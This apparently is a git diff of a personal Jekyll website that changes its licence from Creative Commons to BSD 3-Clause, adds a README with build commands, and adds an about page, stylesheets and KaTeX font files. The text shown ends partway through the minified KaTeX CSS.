under this Public License terminate automatically. - - b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates: - - 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or - - 2. upon express reinstatement by the Licensor. - - c. For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License. - - d. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License. - - e. Sections 1, 5, 6, 7, and 8 survive termination of this Public License. - -Section 7 – Other Terms and Conditions. - - a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed. - - b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License. - -Section 8 – Interpretation. - - a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License. - - b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions. - - c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor. - - d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority. - -Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at creativecommons.org/policies, Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses. - -Creative Commons may be contacted at creativecommons.org. +BSD 3-Clause License + +Copyright (c) 2020, Tait Hoyem +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +3. Neither the name of the copyright holder nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/README.md b/README.md index b224fe1..111c6c2 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,23 @@ -# site +# tait.tech +The uncompiled version of my website. Compiled files in _site -Files to serve to NGINX (original code contained in tait.tech repository). \ No newline at end of file +### To compile + +To compile the files, simply use the bundle Ruby gem. + +``` +bundle exec jekyll build +``` + +to compile once. If you decide you want to actually have changes appear instantly, use the following + +``` +bundle exec jekyll watch +``` + +To run a local web server to view the changes on: +``` +bundle exec jekyll server -w +``` + +This will watch for the latest changes, compile them, and make them available on localhost:4000 diff --git a/about/index.html b/about/index.html new file mode 100644 index 0000000..7d0e9af --- /dev/null +++ b/about/index.html @@ -0,0 +1,45 @@ + + + + + About | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+

Tait Hoyem

+ +

I believe in three fundamentals

+ +
+
+ +
+ + diff --git a/assets/css/book.css b/assets/css/book.css new file mode 100644 index 0000000..3beec10 --- /dev/null +++ b/assets/css/book.css @@ -0,0 +1,9 @@ +body { background-color: #222222; color: #ffffff; font-family: -apple-system, helvetica, arial, sans-serif; line-height: 1.5em; padding: .25em; } + +a { color: #7ad; } + +a:visited { color: #ff3492; } + +h1, h2 { text-align: center; } + +/*# sourceMappingURL=book.css.map */ \ No newline at end of file diff --git a/assets/css/book.css.map b/assets/css/book.css.map new file mode 100644 index 0000000..ebd1a20 --- /dev/null +++ b/assets/css/book.css.map @@ -0,0 +1,16 @@ +{ + "version": 3, + "file": "book.css", + "sources": [ + "book.scss", + "_sass/book.scss", + "_sass/vars.scss" + ], + "sourcesContent": [ + "@import \"book\";\n", + "@import \"vars\";\n\nbody {\n background-color: $background-color;\n color: $normal-text-color;\n font-family: -apple-system, helvetica, arial, sans-serif;\n line-height: $line-height;\n padding: .25em;\n}\na {\n color: $link-color;\n}\na:visited {\n color: $visited-link-color;\n}\nh1, h2 {\n text-align: center;\n}\n", + "$normal-text-color: #ffffff;\n$background-color: #222222;\n$lighter-color: #ffffff;\n$nav-link-color: #ffffff;\n$nav-link-hover-color: black;\n$link-color: #7ad;\n$visited-link-color: #ff3492;\n$last-p-padd: 1.5em;\n$nav-padd: 1em;\n$line-under: 1px solid #aaa; \n$line-height: 1.5em;\n$term-line-height: 1em;\n$file-line-height: 1.2em;\n$terminal-bg: #000000;\n$terminal-fg: #00FF00;\n$file-bg: #444444;\n$file-fg: #ffffff;\n" + ], + "names": [], + "mappings": "ACEA,AAAA,IAAI,CAAC,EACH,gBAAgB,ECFC,OAAO,EDGxB,KAAK,ECJa,OAAO,EDKzB,WAAW,EAAE,2CAA2C,EACxD,WAAW,ECIC,KAAK,EDHjB,OAAO,EAAE,KAAK,GACf;;AACD,AAAA,CAAC,CAAC,EACA,KAAK,ECLM,IAAI,GDMhB;;AACD,AAAA,CAAC,CAAC,OAAO,CAAC,EACR,KAAK,ECPc,OAAO,GDQ3B;;AACD,AAAA,EAAE,EAAE,EAAE,CAAC,EACL,UAAU,EAAE,MAAM,GACnB" +} \ No newline at end of file diff --git a/assets/css/fonts/KaTeX_AMS-Regular.ttf b/assets/css/fonts/KaTeX_AMS-Regular.ttf new file mode 100644 index 0000000..31b8d8d Binary files /dev/null and b/assets/css/fonts/KaTeX_AMS-Regular.ttf differ diff --git a/assets/css/fonts/KaTeX_AMS-Regular.woff b/assets/css/fonts/KaTeX_AMS-Regular.woff new file mode 100644 index 0000000..13000fc Binary files /dev/null and b/assets/css/fonts/KaTeX_AMS-Regular.woff differ diff --git a/assets/css/fonts/KaTeX_AMS-Regular.woff2 b/assets/css/fonts/KaTeX_AMS-Regular.woff2 new file mode 100644 index 0000000..378b798 Binary files /dev/null and b/assets/css/fonts/KaTeX_AMS-Regular.woff2 differ diff --git a/assets/css/fonts/KaTeX_Caligraphic-Bold.ttf b/assets/css/fonts/KaTeX_Caligraphic-Bold.ttf new file mode 100644 index 0000000..b3e756c Binary files /dev/null and b/assets/css/fonts/KaTeX_Caligraphic-Bold.ttf differ diff --git a/assets/css/fonts/KaTeX_Caligraphic-Bold.woff b/assets/css/fonts/KaTeX_Caligraphic-Bold.woff new file mode 100644 index 0000000..cf82f36 Binary files /dev/null and b/assets/css/fonts/KaTeX_Caligraphic-Bold.woff differ diff --git a/assets/css/fonts/KaTeX_Caligraphic-Bold.woff2 b/assets/css/fonts/KaTeX_Caligraphic-Bold.woff2 new file mode 100644 index 0000000..6e9d50d Binary files /dev/null and b/assets/css/fonts/KaTeX_Caligraphic-Bold.woff2 differ diff --git a/assets/css/fonts/KaTeX_Caligraphic-Regular.ttf b/assets/css/fonts/KaTeX_Caligraphic-Regular.ttf new file mode 100644 index 0000000..a8cdd0e Binary files /dev/null and b/assets/css/fonts/KaTeX_Caligraphic-Regular.ttf differ diff --git a/assets/css/fonts/KaTeX_Caligraphic-Regular.woff b/assets/css/fonts/KaTeX_Caligraphic-Regular.woff new file mode 100644 index 0000000..24f3b7b Binary files /dev/null and b/assets/css/fonts/KaTeX_Caligraphic-Regular.woff differ diff --git a/assets/css/fonts/KaTeX_Caligraphic-Regular.woff2 b/assets/css/fonts/KaTeX_Caligraphic-Regular.woff2 new file mode 100644 index 0000000..0bcce6f Binary files /dev/null and b/assets/css/fonts/KaTeX_Caligraphic-Regular.woff2 differ diff --git a/assets/css/fonts/KaTeX_Fraktur-Bold.ttf b/assets/css/fonts/KaTeX_Fraktur-Bold.ttf new file mode 100644 index 0000000..57cef5c Binary files /dev/null and b/assets/css/fonts/KaTeX_Fraktur-Bold.ttf differ diff --git a/assets/css/fonts/KaTeX_Fraktur-Bold.woff b/assets/css/fonts/KaTeX_Fraktur-Bold.woff new file mode 100644 index 0000000..56aeb69 Binary files /dev/null and b/assets/css/fonts/KaTeX_Fraktur-Bold.woff differ diff --git a/assets/css/fonts/KaTeX_Fraktur-Bold.woff2 b/assets/css/fonts/KaTeX_Fraktur-Bold.woff2 new file mode 100644 index 0000000..e4ad521 Binary files /dev/null and b/assets/css/fonts/KaTeX_Fraktur-Bold.woff2 differ diff --git a/assets/css/fonts/KaTeX_Fraktur-Regular.ttf b/assets/css/fonts/KaTeX_Fraktur-Regular.ttf new file mode 100644 index 0000000..1793994 Binary files /dev/null and b/assets/css/fonts/KaTeX_Fraktur-Regular.ttf differ diff --git a/assets/css/fonts/KaTeX_Fraktur-Regular.woff b/assets/css/fonts/KaTeX_Fraktur-Regular.woff new file mode 100644 index 0000000..2e15d01 Binary files /dev/null and b/assets/css/fonts/KaTeX_Fraktur-Regular.woff differ diff --git a/assets/css/fonts/KaTeX_Fraktur-Regular.woff2 b/assets/css/fonts/KaTeX_Fraktur-Regular.woff2 new file mode 100644 index 0000000..f481b14 Binary files /dev/null and b/assets/css/fonts/KaTeX_Fraktur-Regular.woff2 differ diff --git a/assets/css/fonts/KaTeX_Main-Bold.ttf b/assets/css/fonts/KaTeX_Main-Bold.ttf new file mode 100644 index 0000000..e657894 Binary files /dev/null and b/assets/css/fonts/KaTeX_Main-Bold.ttf differ diff --git a/assets/css/fonts/KaTeX_Main-Bold.woff b/assets/css/fonts/KaTeX_Main-Bold.woff new file mode 100644 index 0000000..495fc43 Binary files /dev/null and b/assets/css/fonts/KaTeX_Main-Bold.woff differ diff --git a/assets/css/fonts/KaTeX_Main-Bold.woff2 b/assets/css/fonts/KaTeX_Main-Bold.woff2 new file mode 100644 index 0000000..cdb9ecc Binary files /dev/null and b/assets/css/fonts/KaTeX_Main-Bold.woff2 differ diff --git a/assets/css/fonts/KaTeX_Main-BoldItalic.ttf b/assets/css/fonts/KaTeX_Main-BoldItalic.ttf new file mode 100644 index 0000000..c11cde7 Binary files /dev/null and b/assets/css/fonts/KaTeX_Main-BoldItalic.ttf differ diff --git a/assets/css/fonts/KaTeX_Main-BoldItalic.woff b/assets/css/fonts/KaTeX_Main-BoldItalic.woff new file mode 100644 index 0000000..121e242 Binary files /dev/null and b/assets/css/fonts/KaTeX_Main-BoldItalic.woff differ diff --git a/assets/css/fonts/KaTeX_Main-BoldItalic.woff2 b/assets/css/fonts/KaTeX_Main-BoldItalic.woff2 new file mode 100644 index 0000000..42171ec Binary files /dev/null and b/assets/css/fonts/KaTeX_Main-BoldItalic.woff2 differ diff --git a/assets/css/fonts/KaTeX_Main-Italic.ttf b/assets/css/fonts/KaTeX_Main-Italic.ttf new file mode 100644 index 0000000..2f270de Binary files /dev/null and b/assets/css/fonts/KaTeX_Main-Italic.ttf differ diff --git a/assets/css/fonts/KaTeX_Main-Italic.woff b/assets/css/fonts/KaTeX_Main-Italic.woff new file mode 100644 index 0000000..c669377 Binary files /dev/null and b/assets/css/fonts/KaTeX_Main-Italic.woff differ diff --git a/assets/css/fonts/KaTeX_Main-Italic.woff2 b/assets/css/fonts/KaTeX_Main-Italic.woff2 new file mode 100644 index 0000000..e89824d Binary files /dev/null and b/assets/css/fonts/KaTeX_Main-Italic.woff2 differ diff --git a/assets/css/fonts/KaTeX_Main-Regular.ttf b/assets/css/fonts/KaTeX_Main-Regular.ttf new file mode 100644 index 0000000..741db9c Binary files /dev/null and b/assets/css/fonts/KaTeX_Main-Regular.ttf differ diff --git a/assets/css/fonts/KaTeX_Main-Regular.woff b/assets/css/fonts/KaTeX_Main-Regular.woff new file mode 100644 index 0000000..4c8de9e Binary files /dev/null and b/assets/css/fonts/KaTeX_Main-Regular.woff differ diff --git a/assets/css/fonts/KaTeX_Main-Regular.woff2 b/assets/css/fonts/KaTeX_Main-Regular.woff2 new file mode 100644 index 0000000..2aa480a Binary files /dev/null and b/assets/css/fonts/KaTeX_Main-Regular.woff2 differ diff --git a/assets/css/fonts/KaTeX_Math-BoldItalic.ttf b/assets/css/fonts/KaTeX_Math-BoldItalic.ttf new file mode 100644 index 0000000..c3a1c3e Binary files /dev/null and b/assets/css/fonts/KaTeX_Math-BoldItalic.ttf differ diff --git a/assets/css/fonts/KaTeX_Math-BoldItalic.woff b/assets/css/fonts/KaTeX_Math-BoldItalic.woff new file mode 100644 index 0000000..2c47198 Binary files /dev/null and b/assets/css/fonts/KaTeX_Math-BoldItalic.woff differ diff --git a/assets/css/fonts/KaTeX_Math-BoldItalic.woff2 b/assets/css/fonts/KaTeX_Math-BoldItalic.woff2 new file mode 100644 index 0000000..82f609f Binary files /dev/null and b/assets/css/fonts/KaTeX_Math-BoldItalic.woff2 differ diff --git a/assets/css/fonts/KaTeX_Math-Italic.ttf b/assets/css/fonts/KaTeX_Math-Italic.ttf new file mode 100644 index 0000000..b58dc88 Binary files /dev/null and b/assets/css/fonts/KaTeX_Math-Italic.ttf differ diff --git a/assets/css/fonts/KaTeX_Math-Italic.woff b/assets/css/fonts/KaTeX_Math-Italic.woff new file mode 100644 index 0000000..3ee35dc Binary files /dev/null and b/assets/css/fonts/KaTeX_Math-Italic.woff differ diff --git a/assets/css/fonts/KaTeX_Math-Italic.woff2 b/assets/css/fonts/KaTeX_Math-Italic.woff2 new file mode 100644 index 0000000..a2f3617 Binary files /dev/null and b/assets/css/fonts/KaTeX_Math-Italic.woff2 differ diff --git a/assets/css/fonts/KaTeX_SansSerif-Bold.ttf b/assets/css/fonts/KaTeX_SansSerif-Bold.ttf new file mode 100644 index 0000000..68d11ee Binary files /dev/null and b/assets/css/fonts/KaTeX_SansSerif-Bold.ttf differ diff --git a/assets/css/fonts/KaTeX_SansSerif-Bold.woff b/assets/css/fonts/KaTeX_SansSerif-Bold.woff new file mode 100644 index 0000000..cd6dbb1 Binary files /dev/null and b/assets/css/fonts/KaTeX_SansSerif-Bold.woff differ diff --git a/assets/css/fonts/KaTeX_SansSerif-Bold.woff2 b/assets/css/fonts/KaTeX_SansSerif-Bold.woff2 new file mode 100644 index 0000000..c2b93c8 Binary files /dev/null and b/assets/css/fonts/KaTeX_SansSerif-Bold.woff2 differ diff --git a/assets/css/fonts/KaTeX_SansSerif-Italic.ttf b/assets/css/fonts/KaTeX_SansSerif-Italic.ttf new file mode 100644 index 0000000..2ea5de4 Binary files /dev/null and b/assets/css/fonts/KaTeX_SansSerif-Italic.ttf differ diff --git a/assets/css/fonts/KaTeX_SansSerif-Italic.woff b/assets/css/fonts/KaTeX_SansSerif-Italic.woff new file mode 100644 index 0000000..d022507 Binary files /dev/null and b/assets/css/fonts/KaTeX_SansSerif-Italic.woff differ diff --git a/assets/css/fonts/KaTeX_SansSerif-Italic.woff2 b/assets/css/fonts/KaTeX_SansSerif-Italic.woff2 new file mode 100644 index 0000000..e890b37 Binary files /dev/null and b/assets/css/fonts/KaTeX_SansSerif-Italic.woff2 differ diff --git a/assets/css/fonts/KaTeX_SansSerif-Regular.ttf b/assets/css/fonts/KaTeX_SansSerif-Regular.ttf new file mode 100644 index 0000000..c2066ca Binary files /dev/null and b/assets/css/fonts/KaTeX_SansSerif-Regular.ttf differ diff --git a/assets/css/fonts/KaTeX_SansSerif-Regular.woff b/assets/css/fonts/KaTeX_SansSerif-Regular.woff new file mode 100644 index 0000000..e43b4a2 Binary files /dev/null and b/assets/css/fonts/KaTeX_SansSerif-Regular.woff differ diff --git a/assets/css/fonts/KaTeX_SansSerif-Regular.woff2 b/assets/css/fonts/KaTeX_SansSerif-Regular.woff2 new file mode 100644 index 0000000..51037b4 Binary files /dev/null and b/assets/css/fonts/KaTeX_SansSerif-Regular.woff2 differ diff --git a/assets/css/fonts/KaTeX_Script-Regular.ttf b/assets/css/fonts/KaTeX_Script-Regular.ttf new file mode 100644 index 0000000..1753e88 Binary files /dev/null and b/assets/css/fonts/KaTeX_Script-Regular.ttf differ diff --git a/assets/css/fonts/KaTeX_Script-Regular.woff b/assets/css/fonts/KaTeX_Script-Regular.woff new file mode 100644 index 0000000..2f8b979 Binary files /dev/null and b/assets/css/fonts/KaTeX_Script-Regular.woff differ diff --git a/assets/css/fonts/KaTeX_Script-Regular.woff2 b/assets/css/fonts/KaTeX_Script-Regular.woff2 new file mode 100644 index 0000000..e84ca23 Binary files /dev/null and b/assets/css/fonts/KaTeX_Script-Regular.woff2 differ diff --git a/assets/css/fonts/KaTeX_Size1-Regular.ttf b/assets/css/fonts/KaTeX_Size1-Regular.ttf new file mode 100644 index 0000000..31f438b Binary files /dev/null and b/assets/css/fonts/KaTeX_Size1-Regular.ttf differ diff --git a/assets/css/fonts/KaTeX_Size1-Regular.woff b/assets/css/fonts/KaTeX_Size1-Regular.woff new file mode 100644 index 0000000..b0a7bb2 Binary files /dev/null and b/assets/css/fonts/KaTeX_Size1-Regular.woff differ diff --git a/assets/css/fonts/KaTeX_Size1-Regular.woff2 b/assets/css/fonts/KaTeX_Size1-Regular.woff2 new file mode 100644 index 0000000..f10ebd2 Binary files /dev/null and b/assets/css/fonts/KaTeX_Size1-Regular.woff2 differ diff --git a/assets/css/fonts/KaTeX_Size2-Regular.ttf b/assets/css/fonts/KaTeX_Size2-Regular.ttf new file mode 100644 index 0000000..8a309fd Binary files /dev/null and b/assets/css/fonts/KaTeX_Size2-Regular.ttf differ diff --git a/assets/css/fonts/KaTeX_Size2-Regular.woff b/assets/css/fonts/KaTeX_Size2-Regular.woff new file mode 100644 index 0000000..79ddf33 Binary files /dev/null and b/assets/css/fonts/KaTeX_Size2-Regular.woff differ diff --git a/assets/css/fonts/KaTeX_Size2-Regular.woff2 b/assets/css/fonts/KaTeX_Size2-Regular.woff2 new file mode 100644 index 0000000..4cddb8b Binary files /dev/null and b/assets/css/fonts/KaTeX_Size2-Regular.woff2 differ diff --git a/assets/css/fonts/KaTeX_Size3-Regular.ttf b/assets/css/fonts/KaTeX_Size3-Regular.ttf new file mode 100644 index 0000000..14fe2db Binary files /dev/null and b/assets/css/fonts/KaTeX_Size3-Regular.ttf differ diff --git a/assets/css/fonts/KaTeX_Size3-Regular.woff b/assets/css/fonts/KaTeX_Size3-Regular.woff new file mode 100644 index 0000000..1ecfff9 Binary files /dev/null and b/assets/css/fonts/KaTeX_Size3-Regular.woff differ diff --git a/assets/css/fonts/KaTeX_Size3-Regular.woff2 b/assets/css/fonts/KaTeX_Size3-Regular.woff2 new file mode 100644 index 0000000..e89276f Binary files /dev/null and b/assets/css/fonts/KaTeX_Size3-Regular.woff2 differ diff --git a/assets/css/fonts/KaTeX_Size4-Regular.ttf b/assets/css/fonts/KaTeX_Size4-Regular.ttf new file mode 100644 index 0000000..f88f27b Binary files /dev/null and b/assets/css/fonts/KaTeX_Size4-Regular.ttf differ diff --git a/assets/css/fonts/KaTeX_Size4-Regular.woff b/assets/css/fonts/KaTeX_Size4-Regular.woff new file mode 100644 index 0000000..d4223a3 Binary files /dev/null and b/assets/css/fonts/KaTeX_Size4-Regular.woff differ diff --git a/assets/css/fonts/KaTeX_Size4-Regular.woff2 b/assets/css/fonts/KaTeX_Size4-Regular.woff2 new file mode 100644 index 0000000..93c7e82 Binary files /dev/null and b/assets/css/fonts/KaTeX_Size4-Regular.woff2 differ diff --git a/assets/css/fonts/KaTeX_Typewriter-Regular.ttf b/assets/css/fonts/KaTeX_Typewriter-Regular.ttf new file mode 100644 index 0000000..15b7a74 Binary files /dev/null and b/assets/css/fonts/KaTeX_Typewriter-Regular.ttf differ diff --git a/assets/css/fonts/KaTeX_Typewriter-Regular.woff b/assets/css/fonts/KaTeX_Typewriter-Regular.woff new file mode 100644 index 0000000..d786826 Binary files /dev/null and b/assets/css/fonts/KaTeX_Typewriter-Regular.woff differ diff --git a/assets/css/fonts/KaTeX_Typewriter-Regular.woff2 b/assets/css/fonts/KaTeX_Typewriter-Regular.woff2 new file mode 100644 index 0000000..e2ca86a Binary files /dev/null and b/assets/css/fonts/KaTeX_Typewriter-Regular.woff2 differ diff --git a/assets/css/highlight.css b/assets/css/highlight.css new file mode 100644 index 0000000..dae8346 --- /dev/null +++ b/assets/css/highlight.css @@ -0,0 +1,80 @@ +/* code highlghting */ +.highlight .hll { background-color: #ffffcc } +.highlight { background: #f0f0f0; } +.highlight .c { color: #60a0b0; font-style: italic } /* Comment */ +.highlight .err { border: 1px solid #FF0000 } /* Error */ +.highlight .k { color: #007020; font-weight: bold } /* Keyword */ +.highlight .o { color: #666666 } /* Operator */ +.highlight .ch { color: #60a0b0; font-style: italic } /* Comment.Hashbang */ +.highlight .cm { color: #60a0b0; font-style: italic } /* Comment.Multiline */ +.highlight .cp { color: #007020 } /* Comment.Preproc */ +.highlight .cpf { color: #60a0b0; font-style: italic } /* Comment.PreprocFile */ +.highlight .c1 { color: #60a0b0; font-style: italic } /* Comment.Single */ +.highlight .cs { color: #60a0b0; background-color: #fff0f0 } /* Comment.Special */ +.highlight .gd { color: #A00000 } /* Generic.Deleted */ +.highlight .ge { font-style: italic } /* Generic.Emph */ +.highlight .gr { color: #FF0000 } /* Generic.Error */ +.highlight .gh { color: #000080; font-weight: bold } /* Generic.Heading */ +.highlight .gi { color: #00A000 } /* Generic.Inserted */ +.highlight .go { color: #888888 } /* Generic.Output */ +.highlight .gp { color: #c65d09; font-weight: bold } /* Generic.Prompt */ +.highlight .gs { font-weight: bold } /* Generic.Strong */ +.highlight .gu { color: #800080; font-weight: bold } /* Generic.Subheading */ +.highlight .gt { color: #0044DD } /* Generic.Traceback */ +.highlight .kc { color: #007020; font-weight: bold } /* Keyword.Constant */ +.highlight .kd { color: #007020; font-weight: bold } /* Keyword.Declaration */ +.highlight .kn { color: #007020; font-weight: bold } /* Keyword.Namespace */ +.highlight .kp { color: #007020 } /* Keyword.Pseudo */ +.highlight .kr { color: #007020; font-weight: bold } /* Keyword.Reserved */ +.highlight .kt { color: #902000 } /* Keyword.Type */ +.highlight .m { color: #40a070 } /* Literal.Number */ +.highlight .s { color: #4070a0 } /* Literal.String */ +.highlight .na { color: #4070a0 } /* Name.Attribute */ +.highlight .nb { color: #007020 } /* Name.Builtin */ +.highlight .nc { color: #0e84b5; font-weight: bold } /* Name.Class */ +.highlight .no { color: #60add5 } /* Name.Constant */ +.highlight .nd { color: #555555; font-weight: bold } /* Name.Decorator */ +.highlight .ni { color: #d55537; font-weight: bold } /* Name.Entity */ +.highlight .ne { color: #007020 } /* Name.Exception */ +.highlight .nf { color: #06287e } /* Name.Function */ +.highlight .nl { color: #002070; font-weight: bold } /* Name.Label */ +.highlight .nn { color: #0e84b5; font-weight: bold } /* Name.Namespace */ +.highlight .nt { color: #062873; font-weight: bold } /* Name.Tag */ +.highlight .nv { color: #bb60d5 } /* Name.Variable */ +.highlight .ow { color: #007020; font-weight: bold } /* Operator.Word */ +.highlight .w { color: #bbbbbb } /* Text.Whitespace */ +.highlight .mb { color: #40a070 } /* Literal.Number.Bin */ +.highlight .mf { color: #40a070 } /* Literal.Number.Float */ +.highlight .mh { color: #40a070 } /* Literal.Number.Hex */ +.highlight .mi { color: #40a070 } /* Literal.Number.Integer */ +.highlight .mo { color: #40a070 } /* Literal.Number.Oct */ +.highlight .sa { color: #4070a0 } /* Literal.String.Affix */ +.highlight .sb { color: #4070a0 } /* Literal.String.Backtick */ +.highlight .sc { color: #4070a0 } /* Literal.String.Char */ +.highlight .dl { color: #4070a0 } /* Literal.String.Delimiter */ +.highlight .sd { color: #4070a0; font-style: italic } /* Literal.String.Doc */ +.highlight .s2 { color: #4070a0 } /* Literal.String.Double */ +.highlight .se { color: #4070a0; font-weight: bold } /* Literal.String.Escape */ +.highlight .sh { color: #4070a0 } /* Literal.String.Heredoc */ +.highlight .si { color: #70a0d0; font-style: italic } /* Literal.String.Interpol */ +.highlight .sx { color: #c65d09 } /* Literal.String.Other */ +.highlight .sr { color: #235388 } /* Literal.String.Regex */ +.highlight .s1 { color: #4070a0 } /* Literal.String.Single */ +.highlight .ss { color: #517918 } /* Literal.String.Symbol */ +.highlight .bp { color: #007020 } /* Name.Builtin.Pseudo */ +.highlight .fm { color: #06287e } /* Name.Function.Magic */ +.highlight .vc { color: #bb60d5 } /* Name.Variable.Class */ +.highlight .vg { color: #bb60d5 } /* Name.Variable.Global */ +.highlight .vi { color: #bb60d5 } /* Name.Variable.Instance */ +.highlight .vm { color: #bb60d5 } /* Name.Variable.Magic */ +.highlight .il { color: #40a070 } /* Literal.Number.Integer.Long */ + +/* ADDED CUSTOM */ +.highlight .n { color: #000; } /* General name */ + +div.highlight { + padding: 0px 12px; + width: 85%; + margin: auto; + overflow-x: scroll; +} diff --git a/assets/css/katex.css b/assets/css/katex.css new file mode 100644 index 0000000..e0c115d --- /dev/null +++ b/assets/css/katex.css @@ -0,0 +1 @@ +@font-face{font-family:KaTeX_AMS;font-style:normal;font-weight:400;src:url(fonts/KaTeX_AMS-Regular.woff2) format("woff2"),url(fonts/KaTeX_AMS-Regular.woff) format("woff"),url(fonts/KaTeX_AMS-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Caligraphic;font-style:normal;font-weight:700;src:url(fonts/KaTeX_Caligraphic-Bold.woff2) format("woff2"),url(fonts/KaTeX_Caligraphic-Bold.woff) format("woff"),url(fonts/KaTeX_Caligraphic-Bold.ttf) format("truetype")}@font-face{font-family:KaTeX_Caligraphic;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Caligraphic-Regular.woff2) format("woff2"),url(fonts/KaTeX_Caligraphic-Regular.woff) format("woff"),url(fonts/KaTeX_Caligraphic-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Fraktur;font-style:normal;font-weight:700;src:url(fonts/KaTeX_Fraktur-Bold.woff2) format("woff2"),url(fonts/KaTeX_Fraktur-Bold.woff) format("woff"),url(fonts/KaTeX_Fraktur-Bold.ttf) format("truetype")}@font-face{font-family:KaTeX_Fraktur;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Fraktur-Regular.woff2) format("woff2"),url(fonts/KaTeX_Fraktur-Regular.woff) format("woff"),url(fonts/KaTeX_Fraktur-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Main;font-style:normal;font-weight:700;src:url(fonts/KaTeX_Main-Bold.woff2) format("woff2"),url(fonts/KaTeX_Main-Bold.woff) format("woff"),url(fonts/KaTeX_Main-Bold.ttf) format("truetype")}@font-face{font-family:KaTeX_Main;font-style:italic;font-weight:700;src:url(fonts/KaTeX_Main-BoldItalic.woff2) format("woff2"),url(fonts/KaTeX_Main-BoldItalic.woff) format("woff"),url(fonts/KaTeX_Main-BoldItalic.ttf) format("truetype")}@font-face{font-family:KaTeX_Main;font-style:italic;font-weight:400;src:url(fonts/KaTeX_Main-Italic.woff2) format("woff2"),url(fonts/KaTeX_Main-Italic.woff) format("woff"),url(fonts/KaTeX_Main-Italic.ttf) format("truetype")}@font-face{font-family:KaTeX_Main;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Main-Regular.woff2) format("woff2"),url(fonts/KaTeX_Main-Regular.woff) format("woff"),url(fonts/KaTeX_Main-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Math;font-style:italic;font-weight:700;src:url(fonts/KaTeX_Math-BoldItalic.woff2) format("woff2"),url(fonts/KaTeX_Math-BoldItalic.woff) format("woff"),url(fonts/KaTeX_Math-BoldItalic.ttf) format("truetype")}@font-face{font-family:KaTeX_Math;font-style:italic;font-weight:400;src:url(fonts/KaTeX_Math-Italic.woff2) format("woff2"),url(fonts/KaTeX_Math-Italic.woff) format("woff"),url(fonts/KaTeX_Math-Italic.ttf) format("truetype")}@font-face{font-family:"KaTeX_SansSerif";font-style:normal;font-weight:700;src:url(fonts/KaTeX_SansSerif-Bold.woff2) format("woff2"),url(fonts/KaTeX_SansSerif-Bold.woff) format("woff"),url(fonts/KaTeX_SansSerif-Bold.ttf) format("truetype")}@font-face{font-family:"KaTeX_SansSerif";font-style:italic;font-weight:400;src:url(fonts/KaTeX_SansSerif-Italic.woff2) format("woff2"),url(fonts/KaTeX_SansSerif-Italic.woff) format("woff"),url(fonts/KaTeX_SansSerif-Italic.ttf) format("truetype")}@font-face{font-family:"KaTeX_SansSerif";font-style:normal;font-weight:400;src:url(fonts/KaTeX_SansSerif-Regular.woff2) format("woff2"),url(fonts/KaTeX_SansSerif-Regular.woff) format("woff"),url(fonts/KaTeX_SansSerif-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Script;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Script-Regular.woff2) format("woff2"),url(fonts/KaTeX_Script-Regular.woff) format("woff"),url(fonts/KaTeX_Script-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Size1;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Size1-Regular.woff2) 